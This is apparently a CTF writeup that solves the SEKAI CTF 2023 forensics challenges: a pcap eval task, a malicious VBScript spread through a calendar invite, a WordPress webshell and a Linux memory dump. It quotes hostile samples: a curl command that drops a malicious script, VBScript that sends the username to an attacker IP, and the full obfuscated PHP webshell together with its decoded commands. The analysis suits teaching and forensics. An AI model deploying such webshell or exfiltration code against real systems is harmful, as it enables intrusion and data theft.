Full Forensics challenges from SEKAI CTF 2023 ๐ธ
Preface
By the end of this month, August 25th to 27th, me and my team have participated in SEKAI CTF. We ended up 27th place, made a big progress compare to last year.
I’ve solved all of forensics challenges so I’ll keep a writeup here ๐
Eval Me
Note
I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?
Author: Guesslemonger
nc chals.sekai.team 9000
Base on the description, looks like we need to connect to the remote server and do stuff.
I decided to look over the given packet capture.
The pcap has plenty of HTTP/JSON packets. They are all contain the same JSON structure, the difference is the data in it.
We have about 102 JSON packets, I think this is our flag.
Further context? We should leave this aside and focus on the remote server because, we can’t dive any deeper in the pcap.
Here is what happen when we connected to the server:
From here, I wrote a small script to automating the process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
frompwnimport*HOST='chals.sekai.team'PORT=9000r=remote(HOST,PORT)rec=r.recvuntil('Do it 100 times within time limit and you get the flag :)\n\n')print(rec.decode())foriinrange(100):rec=r.recvline()print(rec)data=eval(rec.decode())r.sendline(str(data).encode())rec=r.recvline()print(rec)
After running about 70-71 rounds, you will get this python payload:
It contains a command which will drop the malicious one to our machine.
curl -sL https://shorturl.at/fgjvU -o extract.sh
Access the url and download the script, here it is:
As you all know, DEF CON CTF Qualifier 2023 was really competitive and we didn’t make it. Surprisingly, 2 months before the finals in Las Vegas, we received an official invitation from Nautilus Institute to attend the event. Should we accept the invitation and schedule the trip?
Author: sahuang
โ WARNING โ
This challenge may contain simulated malware. While harmless, we recommend using a dedicated VM for a safer environment. We are not responsible for any damages caused.
The challenge give us a mail seems to be an invitation to DEFCON Final.
Let’s see what is the attachment. Unfortunately, I couldn’t manage to open the file so I decided to open it in VSCode.
Inside the ics file, we got an URL point to an online map. The map seems to be innocent but it’s not. It leads us to a malicious VBScript which you can see as “Download Offline Map Image”.
The script contains 801 lines of code, such a big source. But we can strip off unused data like comments to reduce the file size.
First look at the script, we can be mislead but trust me, this one will be easy. After an hour trying stuff, here is my conclusion:
FunctionXA3bVjQ3(A0CQ5,B9HW3)DimnFBRW6,X7IDPOnErrorResumeNextSetnFBRW6=CreateObject(StRREverse("llehS.tpircSW"))X7IDP=nFBRW6.RegRead(A0CQ5)Iferr.number<>0ThenxA3bVjQ3=B9HW3ElsexA3bVjQ3=X7IDPEndIfSetnFBRW6=NothingEndFunctionstrComputer="."SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&_strComputer&"\root\default:StdRegProv")strKeyPath="SYSTEM\CurrentControlSet\Control"strUser=CreateObject("WScript.Network").UserNameoReg.EnumValuesHKEY_LOCAL_MACHINE,strKeyPath, _
arrValueNames,arrValueTypesres=Msgbox("Hi "&strUser&", your data have been compromised!",vbOKCancel+vbCritical,"")Forjj=0ToUBound(arrValueNames)SelectCasearrValueTypes(jj)CaseREG_SZ,REG_EXPAND_SZ,REG_DWORDstr=XA3bVjQ3("HKLM\"&strKeyPath&"\"&arrValueNames(jj),"dummy")res=Msgbox(arrValueNames(jj)&" LEAKED: "&query(str),vbOKCancel+vbCritical,"")WScript.Echoquery(str)EndSelectNext
The above block will scan through your registry key and hash its value’s data by using MD5 (XA3bVjQ3()). In this case, the key and values will be located at HKLM\SYSTEM\CurrentControlSet\Control.
Obviously, these below functions will be a part of the process.
This part will download an image from an url and then write it to the system. The url here is ewkjunfw variable which will be deobfuscated in this xHttp.Open "GET", OwOwO(ewkjunfw), False
Nautilus function is just a base64 decode function.
1
2
3
4
>>> from base64 import b64decode
>>> s = "=QWZ###############_###lWbvJHct92Yucmbw5yZhxmZt42bjZWZkxFctVGdcp###############_###Y".replace('###############_###', 'z')[::-1]
>>> b64decode(s)
b'c:\\temp\\defcon-flag.png.compromised'
Finding the key
So we have a picture which contains the flag in it but it has been xored. We don’t have the key right now, I guess it must be in the last part of the script.
About CLng(), it will convert a value to a long integer. Thus, this part just do one job: convert numbers to ASCII characters. Simply write a python script and here is our result.
1
2
3
4
5
6
7
8
9
10
Dimhttp:Sethttp=CreateObject("WinHttp.WinHttpRequest.5.1")Dimurl:url="http://20.106.250.46/sendUserData"WithhttpCall.Open("POST",url,False)Call.SetRequestHeader("Content-Type","application/json")Call.Send("{""username"":"""&strUser&"""}")EndWithres=Msgbox("Thank you for your cooperation!",vbOKOnly+vbInformation,"")
The script will send system’s current username to the attacker’s server.
From here, I spent hours trying to find where the key is but no result. Suddenly, a friend remind me that what would happen if we send username as admin to the server? You can use Burpsuite, python requests or run that VB to POST the data to the server. Here is our key in the response.
Our job is just taking the key and xor the image.
Actually, you can do a known plaintext xor to recover the key from the given picture with a temp one. But I couldn’t get it right so I will leave it here for you guys to improve it.
Our systems recently got ransomwared, and we tracked the origin to our web server. Weโre not sure how they got access, can you find out?
Author: Legoclones
We have two artifacts to analyze, one is packet capture, another is wordpress’ source code.
Because we didn’t know what happen to the source, we can’t dive in it directly for now. In that case, we must understand what’s going on by going through the capture.
After filtering the pcap to http requests, we can see that this hacker was fuzzing the website’s vulnerabilities. He used a tool or his own script to bruteforcing website’s path, including some XSS payloads.
If we exclude those 200 respones which are normal js files or config files, the others have 404 code. I think the attacker has nothing after trying to get some vuln paths. Assuming that our theory is corrected, we can move on to POST requests to see if there’s anything strange.
About 19 requests have been made to the webserver but date.php gave me a suspicious view.
This time, we will look it up in the source. The file will be in wp-includes path. Here is its content:
<?phpset_error_handler(function($errno,$errstr,$errfile,$errline){// error was suppressed with the @-operator
if(0===error_reporting()){returnfalse;}thrownewErrorException($errstr,0,$errno,$errfile,$errline);});try{$ab8a69=$_FILES['file'];$a1721b=fopen($ab8a69['tmp_name'],"r");$abdfbe=fread($a1721b,filesize($ab8a69['tmp_name']));$ae25f0=substr($abdfbe,0,strpos($abdfbe,"..."));$aa1090=substr($abdfbe,strpos($abdfbe,"...")+3);$afd8f0="-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($aa1090),64,"\n")."-----END RSA PRIVATE KEY-----\n";}catch(Exception$e){die("");}$aa13a9="KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pB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USHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";$a4b1af="";$af5e94=explode(",",$aa13a9);foreach($af5e94as$a64500){openssl_private_decrypt(base64_decode($a64500),$a64500,$afd8f0);$a4b1af.=$a64500;}if($a4b1af==""){die("");}else{eval($a4b1af);}?>
The above code will handle POST requests, it takes the body part from the request then split .... First part will be the command $ae25f0, the second one is the base64 RSA private key $aa1090. The key was used to decrypt base64 strings in the source code.
Those base64 strings after decrypting will be like this:
As you can see, the $ae25f0 command will be decrypted in this code by using the second RSA private key. Then it will be executed by $result = `{$decrypted} 2>&1`;.
I wrote a python script to handle the decrypt process. Actually, you can modify date.php to receive and decrypt the input. It’s faster than my approach.
fromCrypto.Randomimportget_random_bytesfromCrypto.PublicKeyimportRSAfromCrypto.CipherimportPKCS1_v1_5importbase64BASESTR_SOURCE_CODE="KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW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gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----"""# Convert to PEM formatdefConvert(base_str):converted="-----BEGIN PRIVATE KEY-----\n"+"\n".join([base_str[i:i+64]foriinrange(0,len(base_str),64)])+"\n-----END PRIVATE KEY-----"returnconverted# Decrypt the base64 arraydefRSADecrypt(base_arr,privkey):base_arr=base_arr.split(',')cipher_rsa=PKCS1_v1_5.new(privkey)sentinel=get_random_bytes(16)final_output=''forsinbase_arr:tmp=base64.b64decode(s)try:dec_text=cipher_rsa.decrypt(tmp,sentinel).decode()final_output+=dec_textexcept:passreturnfinal_output,sentinelf=open('key.txt','r').readlines()forlinf:data=bytes.fromhex(l.strip())command=data.split(b'...')[0]### Decrypt base64 strings in source code => return another RSA keykey=base64.b64encode(data.split(b'...')[1]).decode()key=Convert(key)private_key=RSA.import_key(key)source_dec,sentinel=RSADecrypt(BASESTR_SOURCE_CODE,private_key)# print(source_dec)### Use second RSA key to decrypt webshell's commandsprivate_key2=RSA.import_key(KEY2)cipher_rsa=PKCS1_v1_5.new(private_key2)dec_text=cipher_rsa.decrypt(command,sentinel).decode()print(dec_text)
Script’s output:
1
2
3
4
5
6
7
8
9
whoami
id
pwd
ls
sudo -l
ip a
cat ../wp-config.php
echo 'SEKAI{h4rd_2_d3t3ct_w3bsh3ll}'
cat /opt/flag2.txt
FLAG:
SEKAI{h4rd_2_d3t3ct_w3bsh3ll}
Dumpster Dive
Note
We nabbed the hacker thanks to enscribe’s godlike OSINT and Social Engineering skills. Have this memory dump from the hacker’s PC and try decrypting response packets from PCAP in Infected.
Author: Guesslemonger
Remember the webshell in Infected? It had this command: cat /opt/flag2.txt. Our objective is finding its output in this challenge.
The challenge gave us a memory dump. Because it’s a linux dump so we need to provide a symbol to Volatility to make it working properly. You can do strings mem.lime | grep -i "linux version" to have its kernel version.
1
2
3
4
5
$ strings mem.lime | grep -i "linux version"
Linux version %s (%s)
Linux version 5.15.0-25-generic (buildd@ubuntu) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 (Ubuntu 5.15.0-25.25-generic 5.15.30)
Linux version 5.15.0-25-generic (buildd@ubuntu) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 (Ubuntu 5.15.0-25.25-generic 5.15.30)0)
Linux version 5.15.0-25-generic (buildd@ubuntu) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 (Ubuntu 5.15.0-25.25-generic 5.15.30)0)
We have known the version is 5.15.0-25-generic, now we can use Docker to generate symbol or just simply download it from the Internet.
After having the tool to work, we can use linux.bash to view if there was any suspicious command in the system at that moment.
The attacker ran python3 which spawned a pyshell in his system. This shell will be caught and stored in the memory. So what we need to do is just string and grep.
You can use this command: strings mem.lime| grep -i -w ">>>" -C 5
I decided to grep rox to have a complete piece.
1
2
3
4
5
6
7
8
9
10
$ strings mem.lime| grep -i -w "type = 'rox'[::-1]" -C 5
[...]
sekaictf@sekaictf-virtual-machine:~$ python3
Python 3.10.4 (main, Apr 2 2022, 09:04:19) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> c = b'FR\xd6\xf8\x05w?\xcd\t\x88\x9cO\xb9e\xb9+\xe6\xc3\xfb\xaa?\xe5&\xf9Z\xc6\xc9\xa4\xc8)\xb9\xc3l\x9bq\x130*\xbe9\x19\xb8\xe2F\xaa\xaf\xa2\xa8\xf4\x0f\x8f\xb9\xa6*\xb1e~\x80T\xe3 \xda\xbd\xfe\x0c0\xbe\xa5`F/\xa57\x85\xe66\xbf\x1c\xda\x1e\xc7\xbe\xc1\x91<\xc2~\xdeG\xe8\xbc\xf0\x92/\xfc\xaa+\x9aT=="\xbe3)\x9d\xc7W\x82\xcd\x9b\xa8\xea\x0c\xbc\xd1\xb6,\xcbHv\xbcm\xd2(\x9d\x9f\xbb\'\x1a\x8f\xba\x19p)\xbe4\xa9\xda\x7f\x99w\xe9\x01\x9b\xc3\x95\x8c)\xd6q\xfd\\\xd0\xad\xe0\xd1g\xc6\x9fB\xd8i>X\x1f\x9c=-\xb2\xc4h\x9a\x90\xab\xf4\xc1\x11\xbd\x93\xbf+\xf8h|\x99j\xc9$\xc3\x80\xcf\x00=\xae\x87^{\n\xbd.\xa7\x8aE\xda]\xae\x12\x8c\xec\xef\x9f=\xc3c\xf0.\xcc\xa1\xd8\xac@\xd5\x98`\x902\x11\x07,\xb6#0\xb2\x9ev\xba\xb7\xce\xcb\xe7h\xa5\xc7\xc23\xfb`W\x99W\xf9Z\xc3\xb4\xde8\x11\xba\xa6bo\x02\xdd\x17\xa1\xcaX\xdfF\xd4,\x85\xfc\xe2\x992\x93u\xebQ\xc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